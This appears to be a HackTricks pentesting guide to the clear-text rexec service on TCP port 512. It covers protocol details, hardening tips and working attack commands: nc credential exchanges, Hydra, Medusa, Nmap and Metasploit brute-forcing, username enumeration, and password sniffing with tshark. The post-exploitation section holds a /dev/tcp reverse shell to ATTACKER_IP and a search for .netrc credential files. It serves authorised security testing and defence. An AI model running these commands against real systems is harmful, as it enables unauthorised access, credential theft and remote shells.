// HackTricks · Network Services

512 - Pentesting Rexec

512 - Pentesting Rexec

Basic Information

Rexec (remote exec) belongs to the classic Berkeley r-services family alongside rlogin and rsh. It provides remote command execution authenticated with a clear-text username and password. TCP port 512 is registered as the exec service, and GNU Inetutils documents the byte-level exchange implemented by rexecd.[1][3] The protocol is insecure on untrusted networks but still appears on legacy UNIX and embedded equipment.

Default Port: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 All traffic – including credentials – is transmitted unencrypted. Anyone with the ability to sniff the network can recover the username, password and command.

Protocol quick-look

  1. Client connects to TCP 512.
  2. Client sends three NUL-terminated strings:
    • the port number (as ASCII) where it wishes to receive stdout/stderr (often 0),
    • the username,
    • the password.
  3. A final NUL-terminated string with the command to execute is sent.
  4. The server returns a NUL status byte on successful setup. GNU rexecd prefixes diagnostic failures with byte value 1; stdout then uses the initial connection and an optional secondary connection carries stderr.[1]

If the first field is non-zero, the server opens a second TCP connection back to the client and uses it for stderr. This is useful both for manual testing and for fingerprinting filtering / firewall issues around the service.

That means you can reproduce the exchange with nothing more than echo -e and nc:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

If the credentials are valid you will receive the output of id straight back on the same connection.

If you want to receive stderr on a dedicated listener, ask the server to connect back to you:

nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512

Many common implementations (for example GNU rexecd) still enforce 16-byte username/password fields and return different diagnostic strings for invalid usernames vs invalid passwords. That matters during enumeration because some targets leak whether the account exists before you start brute forcing.[1]

Manual usage with the client

Many Linux distributions still ship the legacy client inside the inetutils-rexec / rsh-client package:[1]

rexec -l user -p password <target> "uname -a"

If -p is omitted the client will prompt interactively for the password (visible on the wire in clear-text!).

To avoid leaving the password in your shell history / process list, GNU rexec also supports reading it from stdin:

printf '%s\n' 'password' | rexec -l user -p - <target> "id"

This is not safer on the network; it only reduces local exposure on the attacking host.


Enumeration & Brute-forcing

Brute-force

Nmap

nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

The rexec-brute NSE uses the protocol described above to try credentials very quickly.[2]

Hydra / Medusa

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
medusa -h <target> -U users.txt -P passwords.txt -M rexec

hydra has a dedicated rexec module. Medusa’s upstream source also includes rexec.mod; verify that the locally packaged build exposes it with medusa -d before a long run.[5] These are online authentication attacks, so use conservative concurrency and honor the engagement’s lockout and availability constraints.

Username enumeration through server messages

Some rexecd implementations expose distinct errors such as Login incorrect. vs Password incorrect.. If you see this behavior, validate usernames first and only then brute force passwords:

printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2

If the messages differ, build a valid-user list before sending a large password spray.

Check sibling r-services

rexec itself uses password authentication, unlike rsh / rlogin trusted-host logic, but in practice they often arrive from the same legacy package (openbsd-inetd, inetutils, vendor UNIX bundles). If TCP 512 is open, immediately check TCP 513 and 514 as well because .rhosts / /etc/hosts.equiv abuse may offer easier lateral movement:

nmap -sV -p 512,513,514 <target>

See also:

Pentesting Rsh

Pentesting Rlogin

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

The module opens a command session on success and stores validated credentials in the Metasploit database.[4]


Sniffing credentials

Because everything is clear text, a capture from an authorized monitoring point can reveal credentials and commands without sending additional traffic to the target. The simple command below works when TShark exposes a decoded data field; otherwise, follow the TCP stream or export tcp.payload and decode its hex bytes.

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
  awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark enable Decode As …​ TCP 512 → REXEC to view nicely-parsed fields.)


Post-Exploitation tips

  • Commands run with the privileges of the authenticated user. Audit /etc/pam.d/rexec where the daemon was built with PAM support; a permissive PAM stack can weaken the intended account policy.[1]
  • GNU rexecd passes the command to the user’s configured login shell. Shell metacharacters may therefore chain commands or launch a reverse shell when that shell supports them:[1]
    rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Passwords are often stored in ~/.netrc or legacy automation scripts on other systems; if you compromise one host you may reuse them for lateral movement:
    find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null

Hardening / Detection

  • Do not expose rexec; replace it with SSH. Virtually all modern inetd superservers comment the service out by default.
  • If you must keep it, restrict access with TCP wrappers (/etc/hosts.allow) or firewall rules and enforce strong per-account passwords.
  • Monitor for traffic to :512 and for rexecd process launches. A single packet capture is enough to detect a compromise.
  • Disable rexec, rlogin, rsh together – they share most of the same codebase and weaknesses.

References